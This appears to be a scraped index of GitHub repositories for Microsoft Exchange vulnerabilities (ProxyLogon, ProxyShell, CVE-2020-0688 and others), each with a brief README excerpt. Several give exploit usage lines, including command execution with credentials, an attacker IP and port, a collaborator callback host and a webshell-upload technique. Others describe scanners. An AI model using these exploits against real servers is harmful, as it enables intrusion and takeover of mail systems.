PowerPriv

PowerPriv DESCRIPTION A powershell implementation of PrivExchange by @dirkjan original code found here: https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py Useful for environments on which you cannot run python-based applications, have user credentials, or do not want to drop fil...

CVE-2020-0688

CVE-2020-0688 A remote code execution vulnerability exists in Microsoft Exchange Server when the server fails to properly create unique keys at install time. Knowledge of a the validation key allows an authenticated user with a mailbox to pass arbitrary objects to be deserialized by the web...

CVE-2022-41040

CVE-2022-41040 CVE-2022-41040 nuclei template Unverified! Usage git clone https://github.com/numanturle/CVE-2022-41040 cd CVE-2022-41040 nuclei -u https://target -t owa.yaml GET /autodiscover/[email protected]/BACKENDAPI?&Email=autodiscover/autodiscover.json%[email protected] HTTP/1.1...

NotProxyShellHunter

NotProxyShellHunter Check for NotProxyShell CVE-2022-40140 & CVE-2022-41082...

cve-2020-0688

cve-2020-0688 Usage: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWORD, --password...

CVE-2023-21707

CVE-2023-21707 Exchange deserialization payload generation .\ConsoleApp1.exe "calc"...

CVE-2026-45504

CVE-2026-45504 Exchange File Read CVE-2026-45504 Exchange File Read Research Blog python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file...

CVE-2023-36745

CVE-2023-36745 Microsoft Exchange Server CVE-2023-36745 RCE PoC. Example: python3 exp.py -H exchange.webdxg.com -u webdxg.com\dddai -p 4IDF7LAU -s \192.168.237.131\Shares\ -c calc.exe Command will be passed to powershell -e...

proxyshell

ProxyShell Proof of Concept Exploit for Microsoft Exchange CVE-2021-34473, CVE-2021-34523, CVE-2021-31207 Details For background information and context, read the blog post detailing the research by Horizon3: https://www.horizon3.ai/news/blog/proxyshell Features No email address needs to be...

CVE-2021-34473

CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server Remote Code Execution Vulnerability Reproducing ProxyShell Exploit https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ This is NOT your Cyberweapon just a experimental PoC...

Microsoft_Exchange_Server_SSRF_CVE-2021-26855

MicrosoftExchangeServerSSRFCVE-2021-26855 zoomeye dork：app:"Microsoft Exchange Server" Using the script MicrosoftExchangeServerSSRFCVE-2021-26855.py written with Seebug toolkit and pocsuite3, to probe data from the past year: 成功率约为：1500 / 5000 = 30%...

ProxyShell

ProxyShell CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server Remote Code Execution Vulnerability. This faulty URL normalization lets us access an arbitrary backend URL while running as the Exchange Server machine account. Although this bug is not as powerful as the SSRF in ProxyLogon, and w...

CVE-2021-26855-SSRF

CVE-2021-26855-SSRF-Poc This script helps to identify CVE-2021-26855 ssrf Poc Reference: https://proxylogon.com/ Script usage python CVE-2021-26855.py -H target.com -B xxxxxxxxxxxxxxxxxx.burpcollaborator.net If you are able to retrieve tokens through HTTPS request. then the target is vulnerable...

cve-2020-0688-webshell-upload-technique

Exchange Remote Code Execution cve-2020-0688 - RED TEAM MODE ON require: python3+ UNIVERSAL Python implementation for cve-2020-0688, utilizing ASPX webshell for custom command output This just a POC to facilitate vulnerability demostrations for security reasons. I disapprove every illegal actions...

CVE-2020-0688-Scanner

CVE-2020-0688-Scanner Quick C tool for checking CVE-2020-0688 on multiple hosts with a non-intrusive method. Features Scan hosts from an input file. Passive check : grab exchange version by scraping html content. Produces an output file. Demo How to use Prerequisite Windows .NET framework 4.5.2...

CVE-2021-33766

POC Exploit CVE-2021-33766 ProxyToken POC Exploit for CVE-2021-33766 ProxyToken is a handy shell script which provides pentesters and security researchers a quick and effective way to test Microsoft Exchange ProxyToken vulnerability. Disclaimer This program is for Educational purpose ONLY. Do not...

ExchangeSSRFtoRCEExploit

Exchange SSRF toRCE Exploit ⚠️For educational and learning purposes only CVE-2021-26855 CVE-2021-27065 Usage ProxyLogon-Exchange SSRF to RCE Exploit Chain. - Author @Evilash ./ExchangeSSRFtoRCEChainExploit.py Real and stable exploit to RCE , enjoy it : Fofa Quary microsoft exchange 2013：...

0dayex-checker

0dayex-checker Zeroday Microsoft Exchange Server checker Virtual Patching checker...

ProxyLogon

ProxyLogon ProxyLogon is the formally generic name for CVE-2021-26855, a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin. We have also chained this bug with another post-auth arbitrary-file-write vulnerability,...

CVE-2026-62911

CVE-2026-62911 Pre-auth RCE on Microsoft Exchange Server. No credentials needed. Orange Tsai DEVCORE used this at Pwn2Own Berlin 2026 as part of a 3-bug chain. $200,000 prize, full SYSTEM takeover. What it does Exchange exposes MailboxReplicationProxyService MRSProxy on two paths. One of them sit...